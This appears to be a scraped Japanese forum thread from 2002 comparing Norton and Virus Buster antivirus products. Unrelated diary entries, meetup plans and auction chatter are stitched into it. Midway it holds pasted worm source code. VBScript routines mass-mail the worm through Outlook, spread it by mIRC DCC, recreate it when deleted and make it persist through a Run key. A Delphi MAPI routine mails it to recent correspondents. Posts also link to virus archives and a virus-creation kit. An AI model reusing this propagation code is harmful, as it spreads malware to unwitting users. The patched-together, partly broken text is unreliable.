http://www2.plala.or.jp/MIZUKI-NAKATA/aubercy-hole-n-tate.jpg

ノートンアンチウィルス２００２いれたらWordが不正終了するようになった。
アンインストールしたら直った。
よってマカフィーに1票。

>>405
童貞ですか・・・？

2002/01/08(火)
Natural
会社のお昼休みに銀行に行ってきました。
その帰り道、LAWSON が店じまいしてました。
こんな好条件なところで閉店とは…
なんて思いながら横を通ると、
新しくできる店舗も LAWSON。
でも看板が青くないんです。赤いんです。
赤い LAWSON。その名も Natural LAWSON。
早速 LAWSON のサイトをチェック。
どこにも Natural LAWSON について書かれていません。
だったら検索エンジンで調べてみよう。
ということで見つけたのがこちら。because。
「厳選した商品とカラダに良い食品や日用品をたくさん揃えたお店」
だそうだ。
どうみてもターゲットを女性に絞った店づくり。
店舗が完成したらちょっと覗いてみようと思う。

506 ：名無しさん＠お腹いっぱい。 ：01/12/26 21:37
写真がないけど・・

東京大学大学院教育学研究科（教育心理学コース）
榊　美智子さん

ロングヘヤーで、めちゃめちゃ可愛いです。


507 ：名無しさん＠お腹いっぱい。 ：01/12/26 21:39
↑
（誤）　　　　　　　　　（訂正）
榊　美智子さん　→　榊　美知子さん　

・・・

2002/01/09(水)
ダウンしちゃいました。ダメです。風邪もらっちゃいました。昨日から寒気が始まったので、今日は午後半休をもらって
いまは布団の中から更新中です。午後半休をもらったので、ついでに DDIPocket に行って
C@rdH"64 petit を解約してきました。実家に帰ってもつながらないし、ISDN のアクセスポイントにも
つなげることができない。PIAFS 対応のアクセスポイントだけだからというのが解約理由。
その帰りに MC-P300 を契約。
AirH" です。つなげ放題です。まだ箱を開けてカードを取り出しただけでつなげていないんですが。
明日にでも使ってみようと思ってます。

ウィルスバスターコーポレートエディションで
特定の拡張子のみ検索しない用にすることって出来ないのでしょうか？
どなたかご教授願います。

>>411
サーバ側の管理画面で普通に設定できなかったっけ？

ノートンアンチウィルスってWIN95では使えないってホント？
だったら、必然的にバスターになっちゃうんだけど・・・。

ああ>>413

>>413
NAV2002は使えない。だからNAV2002にはNAV2001が同梱されてる。

ＯＳＲ２でないと使えない。

test

○ファナティックさん
元祖MTです。って何の元祖なのでしょ？（笑）
今年の爆買い王は早くも ちゃーさんに決まったようなものなので（マッハさんは別格）、私はのんびり余生をば...。
Shannonは去年注文された分ですよね？大丈夫です（何が?)、それは今年の数には入りません（根拠無(^^;）、
安心して＃2466Darby逝っちゃってください。ハンドル通り熱狂のGet報告お待ちしております（笑）
オークションで狙われていたブツは
ttp://page.auctions.yahoo.co.jp/jp/auction/40770064
ですよね?。
（終了しているためyahfooのIDをお持ちでないかたは見れませんが）
これダブルレザーに張り替えてカントリーっぽくしたらきっとカッコイイかなと思って見おりました。
最近は欲しいブツはサイズが合わずでなかなか、これっ！っていうのが出てきません。
まぁ、一年は長いです。先立つものも枯渇気味なので気長に逝きますです。

>>414-416
ありがとうございます。
2001をインストールできました。
（パッケージにはそんなこと書いてなかった気がする・・・）
これで無事ノートンユーザーになれました。
これでやっとおもいっきりメールが開けます。

詳細が少し決まりました。

----------

幹事：naoco さん // さすらいの名幹事
副幹事：ななちゃん // 東京担当
参加者のとりまとめは Brown Sugar が行います。

日程：
2002/1/26（土）
Brown Sugar の仕事の都合上 2/2（土）になってしまう可能性が
20% ほどあります。

場所：
有楽町 or 新宿周辺
どっちにするかはまだ決めてません。

参加者（敬称略）：
naoco
ななちゃん
Clio
冬雪
Brown Sugar
るう。（強制）
markun（強制）
SHG（義務）
Ｔａｍａ（予定）

----------

まだまだ募集しております。

Norton AntiVirus 2002 を Windows 2000 に入れたんですが、
BEEP が PC スピーカから鳴るようになっちゃいました！
例えば、トレイアイコンのスピーカをシングルクリックして出てくる
音量調節のゲージをクリックすると、これまでは BEEP の WAV が
鳴っていたんですが、それが PC スピーカから鳴っちゃうんです！
どうすれば治るんですか、先生！

>>421
事故解決したです

２００２の単体のパッケージの赤い蓋のとこに小さくかいてある。

http://service2.symantec.co.jp/consumer/support-kb.nsf/
KBLPF/99AEEA3B816DF41C49256AFF005CF424?OpenDocument&PRODUCT=
Norton%20AntiVirus2001

ノートン・インターネット・セキュリティ２００２だけはやめとけ。

>>424
　なぜ？　　Version Down 2001 のほうがお勧め？


　それともバスターの営業かい？

ノートンとバスターの実力が知りたいです。

http://www.ebcvg.com/vx_exe.html
すべて見つけられるのでしょうか？
お暇な方は、一つずつ調べて、
引っかからないものだけ教えてください。

>>426
その情報私も禿げしく希望
誰か暇な人調べて

その後　http://www.ebcvg.com/vx_exe.html　へ逝ってみると
「File Not Found」になっていたので、閉鎖されたんだと安心した。

でも、よく調べると、
http://www.ebcvg.com/binary.php　へ移動されただけだった。
しかも増えている。２０５種もある。なんてこった・・・

誰も調べて頂けそうにないので、今、おそるおそるテストしてます。
この中に、検査に引っかからないものも、実際ありました。
ノートンとバスターに頼っているだけでは、安心できません。

「ななしさん」、ｶﾞﾑﾊﾞｯﾃNe！
結果ﾖﾛｼｺです〜！

直リン貼るなよボケナス！
氏ね！！>>428
鯖移転する前は、もっと置いてあったわぃ！
検出できない奴有るからって、別に不思議でもなんでもないけ。

そのＨＰ見てたらNIS2001がアタック検出したぞ！
怖い怖い（;´_`;）

とか言いながら全部DLしてCDRに焼いてテストした。
まあ圧縮ファイルだったから問題はないだろう。

Norton Antivirus 2001 体験版・・・205個全部検出
Antidote・・・・・・・・・・・・・・209個検出（アレ？）

ていうか、ノートンがDocuments and Settings\ユーザー名\Local Settings\Tempから
ウイルス大量検出(笑)

脳ー豚にレジストリを破壊されました・・・
二度としまんてっくのアプリなんぞ見たくねー！

つうことで、バスターにたよりきり。

ノートンが検疫して隔離したウイルスをAntidoteが検出した。
ノートン自身は検出しなかったのだが、、、

Norton AntiVirus には Bloodhound と呼ばれる新しい技術が用意されています。
Bloodhound は新種の未知のウィルスに対する保護を飛躍的に向上します。
マウスでスライダーを動かして Bloodhound の感度を調整できます。
Bloodhound はファイルを個々の論理域に分けて検索し、
プログラム論理にウィルスらしい活動がないかどうかを分析します。
Bloodhound は未知のウィルスを高い確率で検出します。
さらに Norton AntiVirus はコンピュータ上に通常ウィルスが
実行する活動がないかどうかを監視することによって未知のウィルスを
検出します。疑わしい活動を検出すると Norton AntiVirus はその動作が
続行しないように防止します。

http://www.symantec.com/region/jp/sarcj/data/b/bloodhound.html

http://www.symantec.com/avcenter/reference/heuristc.pdf

Function OutlookBody()
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
Set Outlook = CreateObject("Outlook.Application")
If Outlook = "Outlook" Then
Set Myself = fso.opentextfile(wscript.scriptfullname, 1)
I = 1
Do While Myself.atendofstream = False
MyLine = Myself.readline
Code = Code & Chr(34) & " & vbcrlf & " & Chr(34) &
Replace(MyLine, Chr(34), Chr(34) & "&chr(34)&" &
Chr(34))
Loop
Myself.Close

Lots of lines of code to create an HTML page which contains
the source code of the worm. The variable is called HtmlBody

Set mapi = Outlook.GetNameSpace("MAPI")
Set Mapiadd=mapi.AddressLists
For Each Addresslist In Mapiadd
If Addresslist.AddressEntries.Count <> 0 Then
AddCount = Addresslist.AddressEntries.Count
Set Msg = Outlook.CreateItem(0)
Msg.Subject = "Subject"
Msg.HtmlBody = HtmlBody
Msg.DeleteAfterSubmit = True
For II = 1 To AddCount
Set Addentry = Addresslist.AddressEntries(II)
If AddCount = 1 Then
Msg.BCC = Addentry.Address
Else
Msg.BCC = Msg.BCC & "; " & Addentry.Address
End If
Next
Msg.send
End If
Next
Outlook.Quit
End If
End Function

Function Outlook()
On Error Resume Next
Set OutlookApp = CreateObject("Outlook.Application")
If OutlookApp = "Outlook" Then
Set Mapi = OutlookApp.GetNameSpace("MAPI")
set mapiadlist as Mapi.AddressLists
For Each Addresslist In mapiadlist
If Addresslist.AddressEntries.Count <> 0 Then
Addresslistcout = Addresslist.AddressEntries.Count
For AddList = 1 To Addresslistcout
Set msg = OutlookApp.CreateItem(0)
Set AdEntries = Addresslist.AddressEntries(AddList)
msg.To = AdEntries.Address
msg.Subject = "Subject"
msg.Body = "Message Body"
set Attachs=msg.Attachments
Attachs.Add "c:\window\worm.vbs"
msg.DeleteAfterSubmit = True
If msg.To <> "" Then
msg.Send
End If
Next
registry.regwrite "HKCU\software\myworm\mailed", "1"
End If
Next
End If
End Function

Function Mirc(Path)
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.shell")
If Path = "" Then
If fso.fileexists("c:\mirc\mirc.ini") Then
Path = "c:\mirc"
End If
If fso.fileexists("c:\mirc32\mirc.ini") Then
Path = "c:\mirc32"
End If
PfDir=ws.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\ProgramFilesDir")
If fso.fileexists(PfDir & "\mirc\mirc.ini") Then
Path = PfDir & "\mirc"
End If
End If
If Path <> "" Then
Set Script = fso.CreateTextFile(Path & "\script.ini", True)
Script.writeline "[script]"
Script.writeline "n0=on 1:JOIN:#:{"
Script.writeline "n1= /if ( $nick == $me ) { halt }"
Script.writeline "n2= /." & chr(100) & chr(99) & chr(99) &
" send $nick c:\windows\worm.vbs"
Script.writeline "n3=}"
Script.Close
End If
End Function

Function Antidelete()
Set fso = CreateObject("scripting.filesystemobject")
Set Myself = fso.opentextfile(wscript.scriptfullname, 1)
MyCode = Myself.readall
Myself.Close
Do
If Not (fso.fileexists(wscript.scriptfullname)) Then
Set Myself= fso.createtextfile(wscript.scriptfullname, True)
Myself.write MyCode
Myself.Close
End If
Loop
End Function

Set ws = CreateObject("WScript.Shell")
ws.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\",
"Run\{regkey}","wscript.exe c:\windows\{worm}.vbs %"

http://vx.netlux.org/dat/vct.shtml

// Usage: HKEY_CURRENT_USER, 'Software\ImaFaggot', 'GayLesbian'
function regReadString(kRoot: HKEY; sKey, sValue: String): String;
var
qValue: array[0..1023] of Char;
DataSize: Integer;
CurrentKey: HKEY;
begin
RegOpenKeyEx(kRoot, PChar(sKey), 0, KEY_ALL_ACCESS, CurrentKey);
Datasize := 1023;
// RegQueryValueEx(CurrentKey, PChar(sValue), nil, nil, nil, @DataSize);
RegQueryValueEx(CurrentKey, PChar(sValue), nil, nil, @qValue[0], @DataSize);
RegCloseKey(CurrentKey);
Result := String(qValue);
end;

var
MAPIMessage: TMAPIMessage;
lppMapiMessage: PMapiMessage;
Recip, inRecip: TMapiRecipDesc;
msgFile: TMapiFileDesc;
MError: Cardinal;
MapiSession, iMinusOne, i: LongInt;
bWinNT, bFindFirst: Boolean;
ProfileName, sAddress, sProfile, sSentMail: String;
sSeedMessageID, sMessageID: array[0..512] of Char;
os: TOSVersionInfo;
begin
// Which Operating System we on?
os.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
GetVersionEx(os);
bWinNT := (os.dwPlatformId = VER_PLATFORM_WIN32_NT);
// Grab default profilename from registry
if (bWinNT) then
ProfileName := regReadString(HKEY_CURRENT_USER,
'Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles',
'DefaultProfile')
else
// Standard Windows
ProfileName := regReadString(HKEY_CURRENT_USER,
'Software\Microsoft\Windows Messaging Subsystem\Profiles', 'DefaultProfile');

else
// Standard Windows
ProfileName := regReadString(HKEY_CURRENT_USER,
'Software\Microsoft\Windows Messaging Subsystem\Profiles', 'DefaultProfile');

// Fucking Delphi bug won't allow a -1 to be set
// within the structure, so we trick it
iMinusOne := -1;
// Will hold any previous recipients
sSentMail := '';

// Logon to MAPI. If no workie, get outta here
try
MError := MapiLogOn(0, PChar(ProfileName), nil, MAPI_NEW_SESSION, 0, @MapiSession);
if (MError <> SUCCESS_SUCCESS) then
Exit;
except
;
end;

// Fill in the file structure with our attachment
with msgFile do
begin
ulReserved := 0;
flFlags := 0;
nPosition := iMinusOne; // Let Outlook handle the file position
// Obviously, replace the INI with your worm's path/filename
lpszPathName := PChar('c:\windows\system.ini');
lpszFileName := nil;
lpFileType := nil;
end;

bFindFirst := True;

// Walk through first fifty messages
for i := 1 to 50 do
try
// Keep up with our MessageID
if (bFindFirst) then
begin
sSeedMessageID := '';
bFindFirst := False;
end
else
sSeedMessageID := sMessageID;

// Find a message
// MapiFindNext serves as both a "findfirst/findnext" function, dependent
// upon if MessageSeed has a value
MError := MapiFindNext(MapiSession, 0, nil, @sSeedMessageID, 0, 0, @sMessageID);
if (MError = SUCCESS_SUCCESS) then
begin
// Obtain the long pointer
lppMapiMessage := @MAPIMessage;
// Open for Reading, headers only (both faster, and avoids
// writing all the god damned attachments to temp directory)
MError := MAPIReadMail(MAPISession, 0, @sMessageID,
MAPI_ENVELOPE_ONLY, 0, lppMapiMessage);
if (MError = SUCCESS_SUCCESS) and (lppMapiMessage.lpRecips <> nil) then

begin

// Sets info about message recipient
with Recip do
begin
ulReserved := 0;
ulRecipClass := MAPI_TO;
sAddress := 'SMTP:' + lppMapiMessage.lpRecips.lpszAddress;
lpszAddress := Pchar(sAddress);
lpszName := lppMapiMessage.lpRecips.lpszName;
ulEIDSize := 0;
lpEntryID := nil;
end;

// Clear out to avoid any leftover setting
FillChar(MAPIMessage, SizeOf(MAPIMessage), 0);
// Fill the MapiMessage structure.
// Unnecessary to expand entire struct, but aesthetically pleasing
with MapiMessage do
begin
ulReserved := 0;
lpszSubject := PChar('Insert subject for message');
lpszNoteText := PChar('Message text goes here');
lpszMessageType := nil;
lpszDateReceived := nil;
lpszConversationID := nil;
flFlags := 0;
lpOriginator := nil;
nRecipCount := 1;
lpRecips := @Recip;
nFileCount := 1;
lpFiles := @msgFile;
end;

// Send the message
if (Pos(lppMapiMessage.lpRecips.lpszAddress, sSentMail) = 0) then
begin
MError := MapiSendMail(MapiSession, {handle}0, MapiMessage, 0, 0);
// Store this address, so no duplicate messages are sent
sSentMail := sSentMail + lppMapiMessage.lpRecips.lpszAddress;
end;

end;
end;
except
; // Process your errors like a man
end;

try
MError := MapiLogOff(MapiSession, 0, 0, 0);
except
;
end;

end.

http://vx.netlux.org/dat/vct.shtml
ウイルス２５０種
http://www.ebcvg.com/binary.php
Empire248はBloodhoundFileString
http://www.symantec.com/region/jp/sarcj/data/b/bloodhound.html
http://www.symantec.com/avcenter/reference/heuristc.pdf

>>432
こっちはウイルスバスター2002でテスト。
205ファイル中に206のウイルスを検出？？？
zipのどれかに複数入ってるってことか？？？？？？

http://www.ebcvg.com/binary.php　のEmpire.248の検出名は？
（左端の上から６番目）

ノートンではBloodhoundFileStringとなる。

>>450
バスター2002では
ウイルス検出名：VCL.289.0
になってた。

「「右」」端の上から６番目でした。

ちなみに検出名が出てるのに、トレンドマイクロのウイルス情報には引っかからなかった。

バスターの2002は古いマシンには重いし、ファイヤーウォールの設定を細かくいじれない。
ウイルスバスターとノートンではターゲットとする顧客層が違う。比較しても意味がないと思うが？

>454
>ターゲットとする顧客層が違う

どっち買うか迷ってるから、アドバイスきぼんぬ。

>>455
ウイルスバスターを買え

漏れも買ってしまったから

>454
>ターゲットとする顧客層が違う

同じじゃないの？どう違うのよ。
解説キボンヌ。

http://www.ebcvg.com/binary.php
の
VBS.Noon（左端の上から１１番目）
の検出名は？

ノートンはそのままVBS.Noonとなる。

TCP（Transmission Control Protocol）ポート12345は，
トロイの木馬「NetBus」（1999年10月の記事参照）がシステムを乗っ取るために
使うポートであり，Trend Microの「OfficeScan」が使うポートでもある。
ここのところ，同ポートのスキャン件数が急増しており，
セキュリティコミュニティでは原因についての議論が沸騰している。

http://www.zdnet.co.jp/news/0201/23/b_0122_07.html

　ノートンは使ってみた。
　
　こいつ、個別サイトごとの設定ができるぞ。
　個人情報保護は、マカフィーにもソフトがあるらしいね。


　続行キボンヌ

Whistlerの亜種が検地出来ない時点でどっちも逝ってよしだよ・・・
とほほ。

ノートンでスキャンしようとしたら、
マスターブートレコード警告が出たよ！
とりあえずそのままにしてウイルススキャンしたけど、
なにも見つからなかった。

http://easyweb.easynet.co.uk/~hiros/Virus.htm
の
ウィンドーズ９８用ウィルスパック　winvirii98
の検出名は？

ノートンではBloodhoundFilestringがある。

http://www.ug-power.co.uk
注意注意注意注意注意　　画像をオフに！　　注意注意注意注意

>>463
こちらへどうぞ。
【ノートン】Internet Security 2002 Ver.5
http://pc.2ch.net/test/read.cgi/sec/1011331626/

>>464
ANT633

　

ノートンがオススメ

NO豚のオスメス

検出率を調べてもあまり意味ないだろ。新ウイルスに対応していれば用は足りる。

ちょっとスレ違いかもしれませんが、失礼します。

ウイルスバスターを何日か使っていたのですが、しっくりこなかったので
アンインストールしました。
そして昨日、新しいHDDにXPをインストールしようとしたら
一回目の再起動でとまってしまいました。
ハードディスクを認識していません
おそらくbiosをウイルスバスターによって書き換えられてしまっている
と思われ、途中で止まってしまったのはブートセクタが変化したから
だと思うのですが、同じような現象に遭遇した方いらっしゃいますでしょうか？
チップセットはintel815Eです

まあ、素人に毛が生えた程度の知識しかないので、
何かしらの勘違いの可能性が高いのですが……

バスターでBIOSいじる訳ないじゃん。
つーか、アンインストールはちゃんとできたの？
とりあえずもう一度バスターインストールやってアンインストールしてみれ。

済みませんが無料でインストールできるワレザーソフト(コピーツール)のダウンロードサイトがありましたら教えて頂けませんか?
どうしても本日中に必要なのです。できましたらガードに引っ掛からない可能な限り強力なものをお願いします。

>>473
http://choco.2ch.net/test/read.cgi/news7/1009233792/
ここに逝け

今だ！ｾｸｰｽしながら475ゲットォ！！
￣￣￣￣￣∨￣￣￣￣￣￣￣￣￣￣￣￣
　　　　　　　 ∧∧
　　　　　　　（ﾟДﾟ ）　　　　　　　　　　　(´´
ｱｱﾝ !　 ∧∧⊂　 ヽ/　　　　　　　(´⌒(´
　　　⊂（>o<*⌒ ｀つ つ≡≡≡(´⌒;;;≡≡≡
　　　　　　し'￣￣　　 (´⌒(´⌒;;
　　　　　　　　　　　　ｽﾞｻﾞｰｰｰｰｰｯ


ﾄﾞｯｺｲｼｮ・・・・・・・・・
￣￣￣￣￣￣∨￣￣　　　　　 (´´;;
　　　　　∧∧∧∧　　　　　　　　(´;;
　　〃　（>_<*）Д-）
　〃　⊂(｡(｡ つと｜　ｸﾞｨｯ
　　　〃 　> y　） /〜)）
　　　　　 .し'し' Ｕ


何見てんだｺﾞﾙｧ！！
￣￣￣￣￣￣∨￣￣
　 ﾊﾟ　　∧∧ ∧∧　　ﾊﾟ
　　ﾝ　（ｎ｡ｎ*）ﾟДﾟ）　　ﾝ
　 　 　（.ﾉ(し⊂ﾆノ　)）
ﾐﾅｲﾃﾞｪ > y　） /≡〜
　　　　 .し'し' Ｕ

age

ウイルス２０５種
http://www.ebcvg.com/binary.php
Empire248はBloodhoundFileString（左端の上から６番目）
未知のウイルス名称決定
このウイルス検出名はVCL_MUT.Empire.248となりました。

ほかのアンチウイルスソフトでの検出名を教えてくださいませませ。
文化放送ではありません。

http://www.symantec.com/region/jp/sarcj/data/b/bloodhound.html
http://www.symantec.com/avcenter/reference/heuristc.pdf

http://www.trendmicro.co.jp/vinfo/virusencyclo/default2.asp?m=q&virus=empire&alt=empire
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=FILESTRING.DA

初心者向けウイルス作成ソフト
http://vx.netlux.org/dat/vct.shtml

http://www.e-net.gen.tr/
ここって感染していませんか?

してない>>478

>>478->>479
自作自演うまいな
VBS　HAPTIME.A-1
バスター　
http://www.trendmicro.co.jp/virusinfo/vbc_default3.asp?VName=VBS%5FHAPTIME%2EA

検査に30分もかかった

↑↑↑４７８はウイルスhttp//www.e-net.gen.tr/注意注意注意注意注意
ＨＡＰＴＩＭＥ！

右栗で対象をファイルに保存をしようとするとノートンが反応。

直接開かないで右栗で対象をファイルに保存で対応する。

漏れのＰＣ（ノートン）年末に「ニムダ」に犯され何とか修復。
しかし、その後全ＨＤ検査ができず、１ドライブごとの検査をしている。しかし最近WindowsシステムのＨＤだけ途中で止まってします。
あーそういえば無期限ソフトを実行したこともあったけなー
なにが原因かなー。サポートにも電話しずらいし．．．。グスン

ウイルス２０５種
http://www.ebcvg.com/binary.php
Empire248はBloodhoundFileString（左端の上から６番目）
未知のウイルス名称決定
このウイルス検出名はVCL_MUT.Empire.248となりました。

ほかのアンチウイルスソフトでの検出名を教えてくださいませませ。
文化放送ではありません。

http://www.symantec.com/region/jp/sarcj/data/b/bloodhound.html
http://www.symantec.com/avcenter/reference/heuristc.pdf

http://www.trendmicro.co.jp/vinfo/virusencyclo/default2.asp?m=q&virus=empire&alt=empire
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=FILESTRING.DA

初心者向けウイルス作成ソフト
http://vx.netlux.org/dat/vct.shtml

ttp://choco.2ch.net/test/read.cgi/news/1012289344/
(ウイルスらしいですのでダウソは注意して下さい)

ここの1にあるやつウイルスらしいんですが
わたしのノートンアンチウイルス2002は反応しません。
なんか変なのかな。先週買ったんですけど。
OSはWindows2000です。

気持ち悪い！
最近シマンテックのＨＰにアクセスできない。
他の場所（異るISP）からだと大丈夫なんだけど。
ＯＳの再インストと製品の再インスト繰り返してる
からかな。ユーザー登録したり、しなかったり。
登録した時の内容も忘れた。

>>485
おめでとうBL入り

実験してみたノートンのFWとバスターのFWとっちがいいか両方ノートンもFWの設定は完璧(Symantec Security Checkで調べた結果完璧だった)
バスターも完璧(設定は高)でそれぞれポートスキャンしてみたら両方五つもあいてた。さらにトロイ送ると両方通過
この結果から俺流の結論出すと両方糞しょせん人間が作ったもの完璧なんてありえない
だから買うならノートンでもバスターでもどっちでもいい。
ただ魔かフィーだけはやめとけ

VB2002持ってるけど、どうもPFWは当てにならないみたいだから、
ZoneAlarmでも入れてみようかな・・・
　￣￣∨￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　 ∧_∧　　ｶﾀｶﾀ…
　 (*ﾟーﾟ) ＿＿＿＿＿_
　　/つ＿||￣￣￣￣￣|
〜（＿|＼||　　　XP　　　|
　　　　＼ |==========|

>>487
VBのFWは糞ってのは有名
漏れはVBとTiny入れてる

>>489俺に言わせりゃノートンのFWも糞

ノートン使った事無いYO

ウイルスバスター2002を少し使ってた（体験版）けど、まあまあだった。
簡単で初心者向けにはいいけど初心者じゃないんだよね・・ｗ
Nortonは性能がいい。
けど、2chとかに書き込むときの設定などはちょっとめんどっちぃ
でも、性能とかはいいぞぇ
2002になってから保護者機能はいったし。

>>492
その保護者機能だけど「2ちゃんねる」に入ったら
一時期は「セックスヌード」と判定されて入れなくなった 爆笑
ここってポルノサイトか?!笑

IGMPプロトコルってなに？

ノートン2001で、IE6にアップデートすると、
web保護のIEの項がなくなっちゃったんだけど、
これって2002に買い換えてねってこと？ヽ(`Д´)ﾉ ｳﾜｧｧｧｧﾝ!!

俺的にノートンは糞だな
なぜならば、WinMXでアップロードができなくなるから

WinMXでNortonやウイルスバスターを落としたら捕まる・・・ｗ

496=糞。　設定も出来ないならFW使うな。
とりあえずﾉｰﾄﾝはローカルに保存してる登録情報を暗号化しろって。
ﾉｰﾄﾝ通過できるﾄﾛｲから、住所氏名盗めるんだけど。

test

FWをぞねににして，両方入れるのが最強なの？
明日クリーンインストールするんだゴラァ！教えろ!!

>>500
最強を求めるなら　Kerio Personal FW　（旧Tiny？）だゴルァ！
これ最強。　フリーで強力な設定機能有り。　英語なのが難点だゴルァ！

ttp://members.tripod.co.jp/eazyfox/Firewall/Tiny/TinyPFW1.htm
この辺で使い方を勉強するといいよ ゴルァ！

簡易さを求めるならぞねがいいと思う。　ぞねはﾎﾟｰﾄｽｷｬﾝ等に敏感だよね。。

VirusBuster2002からNortonSystemWorks2002に乗り換えた。
俺ﾈﾄｹﾞｰとかよくやるんだけどVirusBusterの時より遥かに速度が低下した。
やはりﾈﾄｹﾞｰは回線の速度が良くないと駄目だ…。という事でVirusBuster2002に戻りました。
NortonSystemWorks2002どうしよう…。今眠ってます。登録してません。ほしぃ人どぅぞヽ（´ー｀）ﾉ

ノートンの2001があってもうすぐ期限切れなのだが
やっぱ延長料金払うより2002買ったほうが良いのかな？

>>503
Yeah.lets buy!

常時接続のやつにどれが良いか聞かれた。
自分はNortonInternetSecurity使ってるんで
これを薦めたが、初心者はVBの方が良かった？

かくいう自分もNAVだけにして、FWはぞねを入れようとしてるけど。

http://www.puchiwara.com/hacking/
　　　　　　　　　　 __,,,-‐――‐-､__　　　ヽ､
　　　　　　　　__=ﾆ-―''''"""ﾞﾞ`‐-､_`ヽ､　　ヽ.
　　　　　 __,／ ,.--ヾ／''''''"'''"''ー､､ヽ､ヽ､　　ヽ.
　　　　／ /　/　　　　　　　　　　　　ミ `ヽヽ　　i
　　　/ /　i　/　　　　　　　　　　　　　 ヾ__ヽヽ　 |
　　/　/　,|　|　　　　　　　　　　　　 ＿＿Ｌ　i |　 |
　 /　/|　|ヽ |　　　　　　　　,,,,-∠''''""　　ﾐ　 i|　 |
　 {　| {　|-+ヽ,,,,,,,　　　 ,,illﾆ-==三｀ﾞ`‐---+　 |　 |
　　||　 i |┼'"三三ヽ　　　 ;／（ｿ::ﾉ Ｔ´　　ヽ-､.|　|
　　 ヽ　ヽー'"(ｿ:)`　!　　　　 ‐‐-‐'´　　　　∧`}| .|
　　　　　　 .| ｀`''"´ /　　　　　　　　　　　　ヽ. { !| .|
　　　　　　 .i　　　 <　　　　　　　　　　　　　'´／ | ||
　　　　　　　!　　　　ヽ ｀　　　　　　　　　　○　　| ||
　　　　　　 ハ.　　　 _,=---　　　　　　　　 /　　 | |.|
　　　　　　 .|　ヽ.　　 ｀'''''''´　　　　　　／　|　|　 | | |
　　　　　　 |　|　ヽ　　　　　　　　　,. ' /　 .|　.|　|| || |
　　　　　　.|　|　 / ヽ　　　　　 ,／ ／　　 |　 |　|| || |
　　　　　　|　|　/　　 `_ｔ‐‐‐'"´,.----―''''''7 |　|| || |
　　　　　 .|　| /　/ <"ヽj　　／　　　　__.　/┐|　|| || |
　　　　　./ //　/,.-‐ゝ->‐/-‐ヽ__／‐‐‐/　ヽ|_ || |.| |
　　　　 ./ //　／／,.-〈　〈‐､　　＼--／　　　 ｀`ｰ､!_|

VirusBuster2002をインストールしたらＰＣが立ち上がらなくなる。
OSはXP。
何故？

>>507
↓これの可能性が高い
　http://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionID=3561

正直、VBはウィルスｱｯﾌﾟﾃﾞｰﾄの時に問題がたまに起こる。（3ヶ月にいっぺん位）
糞マカフィ程致命的ではないにしても、システムに直結するアプリだけにﾄﾗﾌﾞﾙは御免。
頻繁にｳｨﾙｽｱｯﾌﾟﾃﾞｰﾄする人はAVの方がいいと思う。

>>502
( ﾟдﾟ)ﾎｽｨ

セキュリティーはどっちが高いのですか？

ついでに質問します
バスターはポート12345が開いてるという噂が・・・
踏み台にならないのかな？

>>511
VBのPFWは基本は通して、問題のあるポートだけ塞ぐと聞いたぞ。
ゆえに2chでは不評である。

>>512

ｻﾝｸｽｺ
ttp://www.zdnet.co.jp/news/0201/23/e_port.html
これ見たからバスターは駄目なのかな？って思ったもので
詳しくは理解出来なかったんだけどね

昨日、ニムダに感染しました。

アタックかけてきたIPアドレスをIEに貼り付けてみたのが、間違いでした。
昔からノートンver5を入れているので、一応警告＆削除をして、
そのあと、ノートンでウィルススキャンをしても、引っかからず
（ウィルス定義UPDATE済み）
念のため、トレンドマイクロのオンラインウィルススキャンをしたところ、
ニムダに感染してることが発覚

とりあえず、トレンドマイクロの駆除ソフトを使った後、Cドライブだけ、
初期化＆再インストール。

ウィルスバスターのほうが性能いいの？
ノートンはじめは教えてくれたけど、そのあとは何にもやってくれなかったよ
ノートンのバージョンが古すぎ？！
ノートンはニムダ苦手？！

次ぎ買うなら、ウィルスバスターかな？

２００２年２月１３日夜、弊社の米国FTPサーバにおいて、「ウイルスバスター９５」のお客様情報の一部である１３８８件のデータが、外部から閲覧可能な状況だったことが判明いたしました。
２月１４日朝、そのデータを当該FTPサーバから削除しアクセス禁止措置を行うとともに、経過などの事実関係の確認を行い、同時に再発防止の対策を実施いたしております。

お客様には深くお詫び申し上げるとともに、今回の件を重視し、今後の顧客情報保護ガイドラインの徹底や情報セキュリティポリシーの徹底など、再発防止について弊社はあらためて真摯に取り組む所存でございます。
また、該当するデータに含まれていたお客様には、本日お詫びを書面にて郵送させていただきます。

ウィルス対策ソフトのベンダーにセキュリティを求めるのは、
八百屋で魚を求めるようなものだ。

>>516
そんじゃ初期のＶＢ２００２は
なぜセキュリティソフトと共存できなかったのだろう？

>>512
それは2001だけだろ。2002は全ポート閉がデフォのはず。

緊急！！
ノートンオンラインスキャンの結果、ウィルス感染していなかった。
結果は良し、しかしスキャン中の画面で感染ファイル１になってました。
二回も試しましたが結果は同じ、途中経過では１結果は０。
いったいどういうことでしょう？？気になるんですけど・・・
同じような経験をお持ちの方や知ってる方いませんか？？？

>>514
ニムダでアタックしてきたＩＰは
２１１．４２．＊０．１８１ですか？
昨日からバスタのログにｲﾊﾟｰｲです・・・

>>520
レスありがとうございます。
ああ、ちょっとちがいます。
211.158.*1.86です。
HTTPDで鯖を立てたら、すぐに、CGIやSSIのスクリプトが入ってるフォルダにアクセスしてきました。
その間５分もたってないです。

もう、おそろしくて鯖たてられない（ｗ

ノートンは教えてくれるのだけど、完全に駆除してくれない。

また、これが発見されてない亜種のウィルスだったら、、、と思うと、不安です。

なら両方入れればよいのでは？ファイアーウォールはシマンテックで
ウィルスソフトにはトレンドマイクロでってゆう具合にすればいいよ

セキュリティソフトはノートンがウィルスソフトにはＶＢが好評みた
いだからそれぞれ専門に特化したものを入れれば問題ないと思うのだ
けれどあってる？

>>514
LiveUpdateしてたって言うけど、メイン画面で定義ファイルの日付は更新出来てたか？
PC環境（Temp多かったり、常駐多かったり、設定がおかしくなった場合、LiveUpdateしても
正常に 更新出来てない事があるよん。。。
